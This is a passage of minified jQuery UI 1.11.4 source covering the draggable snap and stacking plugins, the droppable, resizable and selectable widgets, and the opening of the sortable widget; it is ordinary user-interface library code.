sitionTo("relative",{top:0,left:l}).left)),p=n||a||o||r,"outer"!==f.snapMode&&(n=m>=Math.abs(u-y),a=m>=Math.abs(d-b),o=m>=Math.abs(h-g),r=m>=Math.abs(l-v),n&&(i.position.top=s._convertPositionTo("relative",{top:u,left:0}).top),a&&(i.position.top=s._convertPositionTo("relative",{top:d-s.helperProportions.height,left:0}).top),o&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l-s.helperProportions.width}).left)),!s.snapElements[c].snapping&&(n||a||o||r||p)&&s.options.snap.snap&&s.options.snap.snap.call(s.element,t,e.extend(s._uiHash(),{snapItem:s.snapElements[c].item})),s.snapElements[c].snapping=n||a||o||r||p)}}),e.ui.plugin.add("draggable","stack",{start:function(t,i,s){var n,a=s.options,o=e.makeArray(e(a.stack)).sort(function(t,i){return(parseInt(e(t).css("zIndex"),10)||0)-(parseInt(e(i).css("zIndex"),10)||0)});o.length&&(n=parseInt(e(o[0]).css("zIndex"),10)||0,e(o).each(function(t){e(this).css("zIndex",n+t)}),this.css("zIndex",n+o.length))}}),e.ui.plugin.add("draggable","zIndex",{start:function(t,i,s){var n=e(i.helper),a=s.options;n.css("zIndex")&&(a._zIndex=n.css("zIndex")),n.css("zIndex",a.zIndex)},stop:function(t,i,s){var n=s.options;n._zIndex&&e(i.helper).css("zIndex",n._zIndex)}}),e.ui.draggable,e.widget("ui.droppable",{version:"1.11.4",widgetEventPrefix:"drop",options:{accept:"*",activeClass:!1,addClasses:!0,greedy:!1,hoverClass:!1,scope:"default",tolerance:"intersect",activate:null,deactivate:null,drop:null,out:null,over:null},_create:function(){var t,i=this.options,s=i.accept;this.isover=!1,this.isout=!0,this.accept=e.isFunction(s)?s:function(e){return e.is(s)},this.proportions=function(){return arguments.length?(t=arguments[0],void 0):t?t:t={width:this.element[0].offsetWidth,height:this.element[0].offsetHeight}},this._addToManager(i.scope),i.addClasses&&this.element.addClass("ui-droppable")},_addToManager:function(t){e.ui.ddmanager.droppables[t]=e.ui.ddmanager.droppables[t]||[],e.ui.ddmanager.droppables[t].push(this)},_splice:function(e){for(var t=0;e.length>t;t++)e[t]===this&&e.splice(t,1)},_destroy:function(){var t=e.ui.ddmanager.droppables[this.options.scope];this._splice(t),this.element.removeClass("ui-droppable ui-droppable-disabled")},_setOption:function(t,i){if("accept"===t)this.accept=e.isFunction(i)?i:function(e){return e.is(i)};else if("scope"===t){var s=e.ui.ddmanager.droppables[this.options.scope];this._splice(s),this._addToManager(i)}this._super(t,i)},_activate:function(t){var i=e.ui.ddmanager.current;this.options.activeClass&&this.element.addClass(this.options.activeClass),i&&this._trigger("activate",t,this.ui(i))},_deactivate:function(t){var i=e.ui.ddmanager.current;this.options.activeClass&&this.element.removeClass(this.options.activeClass),i&&this._trigger("deactivate",t,this.ui(i))},_over:function(t){var i=e.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this.options.hoverClass&&this.element.addClass(this.options.hoverClass),this._trigger("over",t,this.ui(i)))},_out:function(t){var i=e.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this.options.hoverClass&&this.element.removeClass(this.options.hoverClass),this._trigger("out",t,this.ui(i)))},_drop:function(t,i){var s=i||e.ui.ddmanager.current,n=!1;return s&&(s.currentItem||s.element)[0]!==this.element[0]?(this.element.find(":data(ui-droppable)").not(".ui-draggable-dragging").each(function(){var i=e(this).droppable("instance");return i.options.greedy&&!i.options.disabled&&i.options.scope===s.options.scope&&i.accept.call(i.element[0],s.currentItem||s.element)&&e.ui.intersect(s,e.extend(i,{offset:i.element.offset()}),i.options.tolerance,t)?(n=!0,!1):void 0}),n?!1:this.accept.call(this.element[0],s.currentItem||s.element)?(this.options.activeClass&&this.element.removeClass(this.options.activeClass),this.options.hoverClass&&this.element.removeClass(this.options.hoverClass),this._trigger("drop",t,this.ui(s)),this.element):!1):!1},ui:function(e){return{draggable:e.currentItem||e.element,helper:e.helper,position:e.position,offset:e.positionAbs}}}),e.ui.intersect=function(){function e(e,t,i){return e>=t&&t+i>e}return function(t,i,s,n){if(!i.offset)return!1;var a=(t.positionAbs||t.position.absolute).left+t.margins.left,o=(t.positionAbs||t.position.absolute).top+t.margins.top,r=a+t.helperProportions.width,h=o+t.helperProportions.height,l=i.offset.left,u=i.offset.top,d=l+i.proportions().width,c=u+i.proportions().height;switch(s){case"fit":return a>=l&&d>=r&&o>=u&&c>=h;case"intersect":return a+t.helperProportions.width/2>l&&d>r-t.helperProportions.width/2&&o+t.helperProportions.height/2>u&&c>h-t.helperProportions.height/2;case"pointer":return e(n.pageY,u,i.proportions().height)&&e(n.pageX,l,i.proportions().width);case"touch":return(o>=u&&c>=o||h>=u&&c>=h||u>o&&h>c)&&(a>=l&&d>=a||r>=l&&d>=r||l>a&&r>d);default:return!1}}}(),e.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(t,i){var s,n,a=e.ui.ddmanager.droppables[t.options.scope]||[],o=i?i.type:null,r=(t.currentItem||t.element).find(":data(ui-droppable)").addBack();e:for(s=0;a.length>s;s++)if(!(a[s].options.disabled||t&&!a[s].accept.call(a[s].element[0],t.currentItem||t.element))){for(n=0;r.length>n;n++)if(r[n]===a[s].element[0]){a[s].proportions().height=0;continue e}a[s].visible="none"!==a[s].element.css("display"),a[s].visible&&("mousedown"===o&&a[s]._activate.call(a[s],i),a[s].offset=a[s].element.offset(),a[s].proportions({width:a[s].element[0].offsetWidth,height:a[s].element[0].offsetHeight}))}},drop:function(t,i){var s=!1;return e.each((e.ui.ddmanager.droppables[t.options.scope]||[]).slice(),function(){this.options&&(!this.options.disabled&&this.visible&&e.ui.intersect(t,this,this.options.tolerance,i)&&(s=this._drop.call(this,i)||s),!this.options.disabled&&this.visible&&this.accept.call(this.element[0],t.currentItem||t.element)&&(this.isout=!0,this.isover=!1,this._deactivate.call(this,i)))}),s},dragStart:function(t,i){t.element.parentsUntil("body").bind("scroll.droppable",function(){t.options.refreshPositions||e.ui.ddmanager.prepareOffsets(t,i)})},drag:function(t,i){t.options.refreshPositions&&e.ui.ddmanager.prepareOffsets(t,i),e.each(e.ui.ddmanager.droppables[t.options.scope]||[],function(){if(!this.options.disabled&&!this.greedyChild&&this.visible){var s,n,a,o=e.ui.intersect(t,this,this.options.tolerance,i),r=!o&&this.isover?"isout":o&&!this.isover?"isover":null;r&&(this.options.greedy&&(n=this.options.scope,a=this.element.parents(":data(ui-droppable)").filter(function(){return e(this).droppable("instance").options.scope===n}),a.length&&(s=e(a[0]).droppable("instance"),s.greedyChild="isover"===r)),s&&"isover"===r&&(s.isover=!1,s.isout=!0,s._out.call(s,i)),this[r]=!0,this["isout"===r?"isover":"isout"]=!1,this["isover"===r?"_over":"_out"].call(this,i),s&&"isout"===r&&(s.isout=!1,s.isover=!0,s._over.call(s,i)))}})},dragStop:function(t,i){t.element.parentsUntil("body").unbind("scroll.droppable"),t.options.refreshPositions||e.ui.ddmanager.prepareOffsets(t,i)}},e.ui.droppable,e.widget("ui.resizable",e.ui.mouse,{version:"1.11.4",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_num:function(e){return parseInt(e,10)||0},_isNumber:function(e){return!isNaN(parseInt(e,10))},_hasScroll:function(t,i){if("hidden"===e(t).css("overflow"))return!1;var s=i&&"left"===i?"scrollLeft":"scrollTop",n=!1;return t[s]>0?!0:(t[s]=1,n=t[s]>0,t[s]=0,n)},_create:function(){var t,i,s,n,a,o=this,r=this.options;if(this.element.addClass("ui-resizable"),e.extend(this,{_aspectRatio:!!r.aspectRatio,aspectRatio:r.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:r.helper||r.ghost||r.animate?r.helper||"ui-resizable-helper":null}),this.element[0].nodeName.match(/^(canvas|textarea|input|select|button|img)$/i)&&(this.element.wrap(e("<div class='ui-wrapper' style='overflow: hidden;'></div>").css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("ui-resizable",this.element.resizable("instance")),this.elementIsWrapper=!0,this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")}),this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0}),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css({margin:this.originalElement.css("margin")}),this._proportionallyResize()),this.handles=r.handles||(e(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se"),this._handles=e(),this.handles.constructor===String)for("all"===this.handles&&(this.handles="n,e,s,w,se,sw,ne,nw"),t=this.handles.split(","),this.handles={},i=0;t.length>i;i++)s=e.trim(t[i]),a="ui-resizable-"+s,n=e("<div class='ui-resizable-handle "+a+"'></div>"),n.css({zIndex:r.zIndex}),"se"===s&&n.addClass("ui-icon ui-icon-gripsmall-diagonal-se"),this.handles[s]=".ui-resizable-"+s,this.element.append(n);this._renderAxis=function(t){var i,s,n,a;t=t||this.element;for(i in this.handles)this.handles[i].constructor===String?this.handles[i]=this.element.children(this.handles[i]).first().show():(this.handles[i].jquery||this.handles[i].nodeType)&&(this.handles[i]=e(this.handles[i]),this._on(this.handles[i],{mousedown:o._mouseDown})),this.elementIsWrapper&&this.originalElement[0].nodeName.match(/^(textarea|input|select|button)$/i)&&(s=e(this.handles[i],this.element),a=/sw|ne|nw|se|n|s/.test(i)?s.outerHeight():s.outerWidth(),n=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join(""),t.css(n,a),this._proportionallyResize()),this._handles=this._handles.add(this.handles[i])},this._renderAxis(this.element),this._handles=this._handles.add(this.element.find(".ui-resizable-handle")),this._handles.disableSelection(),this._handles.mouseover(function(){o.resizing||(this.className&&(n=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)),o.axis=n&&n[1]?n[1]:"se")}),r.autoHide&&(this._handles.hide(),e(this.element).addClass("ui-resizable-autohide").mouseenter(function(){r.disabled||(e(this).removeClass("ui-resizable-autohide"),o._handles.show())}).mouseleave(function(){r.disabled||o.resizing||(e(this).addClass("ui-resizable-autohide"),o._handles.hide())})),this._mouseInit()},_destroy:function(){this._mouseDestroy();var t,i=function(t){e(t).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").removeData("ui-resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};return this.elementIsWrapper&&(i(this.element),t=this.element,this.originalElement.css({position:t.css("position"),width:t.outerWidth(),height:t.outerHeight(),top:t.css("top"),left:t.css("left")}).insertAfter(t),t.remove()),this.originalElement.css("resize",this.originalResizeStyle),i(this.originalElement),this},_mouseCapture:function(t){var i,s,n=!1;for(i in this.handles)s=e(this.handles[i])[0],(s===t.target||e.contains(s,t.target))&&(n=!0);return!this.options.disabled&&n},_mouseStart:function(t){var i,s,n,a=this.options,o=this.element;return this.resizing=!0,this._renderProxy(),i=this._num(this.helper.css("left")),s=this._num(this.helper.css("top")),a.containment&&(i+=e(a.containment).scrollLeft()||0,s+=e(a.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:i,top:s},this.size=this._helper?{width:this.helper.width(),height:this.helper.height()}:{width:o.width(),height:o.height()},this.originalSize=this._helper?{width:o.outerWidth(),height:o.outerHeight()}:{width:o.width(),height:o.height()},this.sizeDiff={width:o.outerWidth()-o.width(),height:o.outerHeight()-o.height()},this.originalPosition={left:i,top:s},this.originalMousePosition={left:t.pageX,top:t.pageY},this.aspectRatio="number"==typeof a.aspectRatio?a.aspectRatio:this.originalSize.width/this.originalSize.height||1,n=e(".ui-resizable-"+this.axis).css("cursor"),e("body").css("cursor","auto"===n?this.axis+"-resize":n),o.addClass("ui-resizable-resizing"),this._propagate("start",t),!0},_mouseDrag:function(t){var i,s,n=this.originalMousePosition,a=this.axis,o=t.pageX-n.left||0,r=t.pageY-n.top||0,h=this._change[a];return this._updatePrevProperties(),h?(i=h.apply(this,[t,o,r]),this._updateVirtualBoundaries(t.shiftKey),(this._aspectRatio||t.shiftKey)&&(i=this._updateRatio(i,t)),i=this._respectSize(i,t),this._updateCache(i),this._propagate("resize",t),s=this._applyChanges(),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),e.isEmptyObject(s)||(this._updatePrevProperties(),this._trigger("resize",t,this.ui()),this._applyChanges()),!1):!1},_mouseStop:function(t){this.resizing=!1;var i,s,n,a,o,r,h,l=this.options,u=this;return this._helper&&(i=this._proportionallyResizeElements,s=i.length&&/textarea/i.test(i[0].nodeName),n=s&&this._hasScroll(i[0],"left")?0:u.sizeDiff.height,a=s?0:u.sizeDiff.width,o={width:u.helper.width()-a,height:u.helper.height()-n},r=parseInt(u.element.css("left"),10)+(u.position.left-u.originalPosition.left)||null,h=parseInt(u.element.css("top"),10)+(u.position.top-u.originalPosition.top)||null,l.animate||this.element.css(e.extend(o,{top:h,left:r})),u.helper.height(u.size.height),u.helper.width(u.size.width),this._helper&&!l.animate&&this._proportionallyResize()),e("body").css("cursor","auto"),this.element.removeClass("ui-resizable-resizing"),this._propagate("stop",t),this._helper&&this.helper.remove(),!1},_updatePrevProperties:function(){this.prevPosition={top:this.position.top,left:this.position.left},this.prevSize={width:this.size.width,height:this.size.height}},_applyChanges:function(){var e={};return this.position.top!==this.prevPosition.top&&(e.top=this.position.top+"px"),this.position.left!==this.prevPosition.left&&(e.left=this.position.left+"px"),this.size.width!==this.prevSize.width&&(e.width=this.size.width+"px"),this.size.height!==this.prevSize.height&&(e.height=this.size.height+"px"),this.helper.css(e),e},_updateVirtualBoundaries:function(e){var t,i,s,n,a,o=this.options;a={minWidth:this._isNumber(o.minWidth)?o.minWidth:0,maxWidth:this._isNumber(o.maxWidth)?o.maxWidth:1/0,minHeight:this._isNumber(o.minHeight)?o.minHeight:0,maxHeight:this._isNumber(o.maxHeight)?o.maxHeight:1/0},(this._aspectRatio||e)&&(t=a.minHeight*this.aspectRatio,s=a.minWidth/this.aspectRatio,i=a.maxHeight*this.aspectRatio,n=a.maxWidth/this.aspectRatio,t>a.minWidth&&(a.minWidth=t),s>a.minHeight&&(a.minHeight=s),a.maxWidth>i&&(a.maxWidth=i),a.maxHeight>n&&(a.maxHeight=n)),this._vBoundaries=a},_updateCache:function(e){this.offset=this.helper.offset(),this._isNumber(e.left)&&(this.position.left=e.left),this._isNumber(e.top)&&(this.position.top=e.top),this._isNumber(e.height)&&(this.size.height=e.height),this._isNumber(e.width)&&(this.size.width=e.width)},_updateRatio:function(e){var t=this.position,i=this.size,s=this.axis;return this._isNumber(e.height)?e.width=e.height*this.aspectRatio:this._isNumber(e.width)&&(e.height=e.width/this.aspectRatio),"sw"===s&&(e.left=t.left+(i.width-e.width),e.top=null),"nw"===s&&(e.top=t.top+(i.height-e.height),e.left=t.left+(i.width-e.width)),e},_respectSize:function(e){var t=this._vBoundaries,i=this.axis,s=this._isNumber(e.width)&&t.maxWidth&&t.maxWidth<e.width,n=this._isNumber(e.height)&&t.maxHeight&&t.maxHeight<e.height,a=this._isNumber(e.width)&&t.minWidth&&t.minWidth>e.width,o=this._isNumber(e.height)&&t.minHeight&&t.minHeight>e.height,r=this.originalPosition.left+this.originalSize.width,h=this.position.top+this.size.height,l=/sw|nw|w/.test(i),u=/nw|ne|n/.test(i);return a&&(e.width=t.minWidth),o&&(e.height=t.minHeight),s&&(e.width=t.maxWidth),n&&(e.height=t.maxHeight),a&&l&&(e.left=r-t.minWidth),s&&l&&(e.left=r-t.maxWidth),o&&u&&(e.top=h-t.minHeight),n&&u&&(e.top=h-t.maxHeight),e.width||e.height||e.left||!e.top?e.width||e.height||e.top||!e.left||(e.left=null):e.top=null,e},_getPaddingPlusBorderDimensions:function(e){for(var t=0,i=[],s=[e.css("borderTopWidth"),e.css("borderRightWidth"),e.css("borderBottomWidth"),e.css("borderLeftWidth")],n=[e.css("paddingTop"),e.css("paddingRight"),e.css("paddingBottom"),e.css("paddingLeft")];4>t;t++)i[t]=parseInt(s[t],10)||0,i[t]+=parseInt(n[t],10)||0;return{height:i[0]+i[2],width:i[1]+i[3]}},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var e,t=0,i=this.helper||this.element;this._proportionallyResizeElements.length>t;t++)e=this._proportionallyResizeElements[t],this.outerDimensions||(this.outerDimensions=this._getPaddingPlusBorderDimensions(e)),e.css({height:i.height()-this.outerDimensions.height||0,width:i.width()-this.outerDimensions.width||0})},_renderProxy:function(){var t=this.element,i=this.options;this.elementOffset=t.offset(),this._helper?(this.helper=this.helper||e("<div style='overflow:hidden;'></div>"),this.helper.addClass(this._helper).css({width:this.element.outerWidth()-1,height:this.element.outerHeight()-1,position:"absolute",left:this.elementOffset.left+"px",top:this.elementOffset.top+"px",zIndex:++i.zIndex}),this.helper.appendTo("body").disableSelection()):this.helper=this.element},_change:{e:function(e,t){return{width:this.originalSize.width+t}},w:function(e,t){var i=this.originalSize,s=this.originalPosition;return{left:s.left+t,width:i.width-t}},n:function(e,t,i){var s=this.originalSize,n=this.originalPosition;return{top:n.top+i,height:s.height-i}},s:function(e,t,i){return{height:this.originalSize.height+i}},se:function(t,i,s){return e.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[t,i,s]))},sw:function(t,i,s){return e.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[t,i,s]))},ne:function(t,i,s){return e.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[t,i,s]))},nw:function(t,i,s){return e.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[t,i,s]))}},_propagate:function(t,i){e.ui.plugin.call(this,t,[i,this.ui()]),"resize"!==t&&this._trigger(t,i,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),e.ui.plugin.add("resizable","animate",{stop:function(t){var i=e(this).resizable("instance"),s=i.options,n=i._proportionallyResizeElements,a=n.length&&/textarea/i.test(n[0].nodeName),o=a&&i._hasScroll(n[0],"left")?0:i.sizeDiff.height,r=a?0:i.sizeDiff.width,h={width:i.size.width-r,height:i.size.height-o},l=parseInt(i.element.css("left"),10)+(i.position.left-i.originalPosition.left)||null,u=parseInt(i.element.css("top"),10)+(i.position.top-i.originalPosition.top)||null;i.element.animate(e.extend(h,u&&l?{top:u,left:l}:{}),{duration:s.animateDuration,easing:s.animateEasing,step:function(){var s={width:parseInt(i.element.css("width"),10),height:parseInt(i.element.css("height"),10),top:parseInt(i.element.css("top"),10),left:parseInt(i.element.css("left"),10)};n&&n.length&&e(n[0]).css({width:s.width,height:s.height}),i._updateCache(s),i._propagate("resize",t)}})}}),e.ui.plugin.add("resizable","containment",{start:function(){var t,i,s,n,a,o,r,h=e(this).resizable("instance"),l=h.options,u=h.element,d=l.containment,c=d instanceof e?d.get(0):/parent/.test(d)?u.parent().get(0):d;c&&(h.containerElement=e(c),/document/.test(d)||d===document?(h.containerOffset={left:0,top:0},h.containerPosition={left:0,top:0},h.parentData={element:e(document),left:0,top:0,width:e(document).width(),height:e(document).height()||document.body.parentNode.scrollHeight}):(t=e(c),i=[],e(["Top","Right","Left","Bottom"]).each(function(e,s){i[e]=h._num(t.css("padding"+s))}),h.containerOffset=t.offset(),h.containerPosition=t.position(),h.containerSize={height:t.innerHeight()-i[3],width:t.innerWidth()-i[1]},s=h.containerOffset,n=h.containerSize.height,a=h.containerSize.width,o=h._hasScroll(c,"left")?c.scrollWidth:a,r=h._hasScroll(c)?c.scrollHeight:n,h.parentData={element:c,left:s.left,top:s.top,width:o,height:r}))},resize:function(t){var i,s,n,a,o=e(this).resizable("instance"),r=o.options,h=o.containerOffset,l=o.position,u=o._aspectRatio||t.shiftKey,d={top:0,left:0},c=o.containerElement,p=!0;c[0]!==document&&/static/.test(c.css("position"))&&(d=h),l.left<(o._helper?h.left:0)&&(o.size.width=o.size.width+(o._helper?o.position.left-h.left:o.position.left-d.left),u&&(o.size.height=o.size.width/o.aspectRatio,p=!1),o.position.left=r.helper?h.left:0),l.top<(o._helper?h.top:0)&&(o.size.height=o.size.height+(o._helper?o.position.top-h.top:o.position.top),u&&(o.size.width=o.size.height*o.aspectRatio,p=!1),o.position.top=o._helper?h.top:0),n=o.containerElement.get(0)===o.element.parent().get(0),a=/relative|absolute/.test(o.containerElement.css("position")),n&&a?(o.offset.left=o.parentData.left+o.position.left,o.offset.top=o.parentData.top+o.position.top):(o.offset.left=o.element.offset().left,o.offset.top=o.element.offset().top),i=Math.abs(o.sizeDiff.width+(o._helper?o.offset.left-d.left:o.offset.left-h.left)),s=Math.abs(o.sizeDiff.height+(o._helper?o.offset.top-d.top:o.offset.top-h.top)),i+o.size.width>=o.parentData.width&&(o.size.width=o.parentData.width-i,u&&(o.size.height=o.size.width/o.aspectRatio,p=!1)),s+o.size.height>=o.parentData.height&&(o.size.height=o.parentData.height-s,u&&(o.size.width=o.size.height*o.aspectRatio,p=!1)),p||(o.position.left=o.prevPosition.left,o.position.top=o.prevPosition.top,o.size.width=o.prevSize.width,o.size.height=o.prevSize.height)},stop:function(){var t=e(this).resizable("instance"),i=t.options,s=t.containerOffset,n=t.containerPosition,a=t.containerElement,o=e(t.helper),r=o.offset(),h=o.outerWidth()-t.sizeDiff.width,l=o.outerHeight()-t.sizeDiff.height;t._helper&&!i.animate&&/relative/.test(a.css("position"))&&e(this).css({left:r.left-n.left-s.left,width:h,height:l}),t._helper&&!i.animate&&/static/.test(a.css("position"))&&e(this).css({left:r.left-n.left-s.left,width:h,height:l})}}),e.ui.plugin.add("resizable","alsoResize",{start:function(){var t=e(this).resizable("instance"),i=t.options;e(i.alsoResize).each(function(){var t=e(this);t.data("ui-resizable-alsoresize",{width:parseInt(t.width(),10),height:parseInt(t.height(),10),left:parseInt(t.css("left"),10),top:parseInt(t.css("top"),10)})})},resize:function(t,i){var s=e(this).resizable("instance"),n=s.options,a=s.originalSize,o=s.originalPosition,r={height:s.size.height-a.height||0,width:s.size.width-a.width||0,top:s.position.top-o.top||0,left:s.position.left-o.left||0};e(n.alsoResize).each(function(){var t=e(this),s=e(this).data("ui-resizable-alsoresize"),n={},a=t.parents(i.originalElement[0]).length?["width","height"]:["width","height","top","left"];e.each(a,function(e,t){var i=(s[t]||0)+(r[t]||0);i&&i>=0&&(n[t]=i||null)}),t.css(n)})},stop:function(){e(this).removeData("resizable-alsoresize")}}),e.ui.plugin.add("resizable","ghost",{start:function(){var t=e(this).resizable("instance"),i=t.options,s=t.size;t.ghost=t.originalElement.clone(),t.ghost.css({opacity:.25,display:"block",position:"relative",height:s.height,width:s.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass("string"==typeof i.ghost?i.ghost:""),t.ghost.appendTo(t.helper)},resize:function(){var t=e(this).resizable("instance");t.ghost&&t.ghost.css({position:"relative",height:t.size.height,width:t.size.width})},stop:function(){var t=e(this).resizable("instance");t.ghost&&t.helper&&t.helper.get(0).removeChild(t.ghost.get(0))}}),e.ui.plugin.add("resizable","grid",{resize:function(){var t,i=e(this).resizable("instance"),s=i.options,n=i.size,a=i.originalSize,o=i.originalPosition,r=i.axis,h="number"==typeof s.grid?[s.grid,s.grid]:s.grid,l=h[0]||1,u=h[1]||1,d=Math.round((n.width-a.width)/l)*l,c=Math.round((n.height-a.height)/u)*u,p=a.width+d,f=a.height+c,m=s.maxWidth&&p>s.maxWidth,g=s.maxHeight&&f>s.maxHeight,v=s.minWidth&&s.minWidth>p,y=s.minHeight&&s.minHeight>f;s.grid=h,v&&(p+=l),y&&(f+=u),m&&(p-=l),g&&(f-=u),/^(se|s|e)$/.test(r)?(i.size.width=p,i.size.height=f):/^(ne)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.top=o.top-c):/^(sw)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.left=o.left-d):((0>=f-u||0>=p-l)&&(t=i._getPaddingPlusBorderDimensions(this)),f-u>0?(i.size.height=f,i.position.top=o.top-c):(f=u-t.height,i.size.height=f,i.position.top=o.top+a.height-f),p-l>0?(i.size.width=p,i.position.left=o.left-d):(p=l-t.width,i.size.width=p,i.position.left=o.left+a.width-p))}}),e.ui.resizable,e.widget("ui.selectable",e.ui.mouse,{version:"1.11.4",options:{appendTo:"body",autoRefresh:!0,distance:0,filter:"*",tolerance:"touch",selected:null,selecting:null,start:null,stop:null,unselected:null,unselecting:null},_create:function(){var t,i=this;this.element.addClass("ui-selectable"),this.dragged=!1,this.refresh=function(){t=e(i.options.filter,i.element[0]),t.addClass("ui-selectee"),t.each(function(){var t=e(this),i=t.offset();e.data(this,"selectable-item",{element:this,$element:t,left:i.left,top:i.top,right:i.left+t.outerWidth(),bottom:i.top+t.outerHeight(),startselected:!1,selected:t.hasClass("ui-selected"),selecting:t.hasClass("ui-selecting"),unselecting:t.hasClass("ui-unselecting")})})},this.refresh(),this.selectees=t.addClass("ui-selectee"),this._mouseInit(),this.helper=e("<div class='ui-selectable-helper'></div>")},_destroy:function(){this.selectees.removeClass("ui-selectee").removeData("selectable-item"),this.element.removeClass("ui-selectable ui-selectable-disabled"),this._mouseDestroy()},_mouseStart:function(t){var i=this,s=this.options;this.opos=[t.pageX,t.pageY],this.options.disabled||(this.selectees=e(s.filter,this.element[0]),this._trigger("start",t),e(s.appendTo).append(this.helper),this.helper.css({left:t.pageX,top:t.pageY,width:0,height:0}),s.autoRefresh&&this.refresh(),this.selectees.filter(".ui-selected").each(function(){var s=e.data(this,"selectable-item");s.startselected=!0,t.metaKey||t.ctrlKey||(s.$element.removeClass("ui-selected"),s.selected=!1,s.$element.addClass("ui-unselecting"),s.unselecting=!0,i._trigger("unselecting",t,{unselecting:s.element}))}),e(t.target).parents().addBack().each(function(){var s,n=e.data(this,"selectable-item");return n?(s=!t.metaKey&&!t.ctrlKey||!n.$element.hasClass("ui-selected"),n.$element.removeClass(s?"ui-unselecting":"ui-selected").addClass(s?"ui-selecting":"ui-unselecting"),n.unselecting=!s,n.selecting=s,n.selected=s,s?i._trigger("selecting",t,{selecting:n.element}):i._trigger("unselecting",t,{unselecting:n.element}),!1):void 0}))},_mouseDrag:function(t){if(this.dragged=!0,!this.options.disabled){var i,s=this,n=this.options,a=this.opos[0],o=this.opos[1],r=t.pageX,h=t.pageY;return a>r&&(i=r,r=a,a=i),o>h&&(i=h,h=o,o=i),this.helper.css({left:a,top:o,width:r-a,height:h-o}),this.selectees.each(function(){var i=e.data(this,"selectable-item"),l=!1;
i&&i.element!==s.element[0]&&("touch"===n.tolerance?l=!(i.left>r||a>i.right||i.top>h||o>i.bottom):"fit"===n.tolerance&&(l=i.left>a&&r>i.right&&i.top>o&&h>i.bottom),l?(i.selected&&(i.$element.removeClass("ui-selected"),i.selected=!1),i.unselecting&&(i.$element.removeClass("ui-unselecting"),i.unselecting=!1),i.selecting||(i.$element.addClass("ui-selecting"),i.selecting=!0,s._trigger("selecting",t,{selecting:i.element}))):(i.selecting&&((t.metaKey||t.ctrlKey)&&i.startselected?(i.$element.removeClass("ui-selecting"),i.selecting=!1,i.$element.addClass("ui-selected"),i.selected=!0):(i.$element.removeClass("ui-selecting"),i.selecting=!1,i.startselected&&(i.$element.addClass("ui-unselecting"),i.unselecting=!0),s._trigger("unselecting",t,{unselecting:i.element}))),i.selected&&(t.metaKey||t.ctrlKey||i.startselected||(i.$element.removeClass("ui-selected"),i.selected=!1,i.$element.addClass("ui-unselecting"),i.unselecting=!0,s._trigger("unselecting",t,{unselecting:i.element})))))}),!1}},_mouseStop:function(t){var i=this;return this.dragged=!1,e(".ui-unselecting",this.element[0]).each(function(){var s=e.data(this,"selectable-item");s.$element.removeClass("ui-unselecting"),s.unselecting=!1,s.startselected=!1,i._trigger("unselected",t,{unselected:s.element})}),e(".ui-selecting",this.element[0]).each(function(){var s=e.data(this,"selectable-item");s.$element.removeClass("ui-selecting").addClass("ui-selected"),s.selecting=!1,s.selected=!0,s.startselected=!0,i._trigger("selected",t,{selected:s.element})}),this._trigger("stop",t),this.helper.remove(),!1}}),e.widget("ui.sortable",e.ui.mouse,{version:"1.11.4",widgetEventPrefix:"sort",ready:!1,options:{appendTo:"parent",axis:!1,connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_isOverAxis:function(e,t,i){return 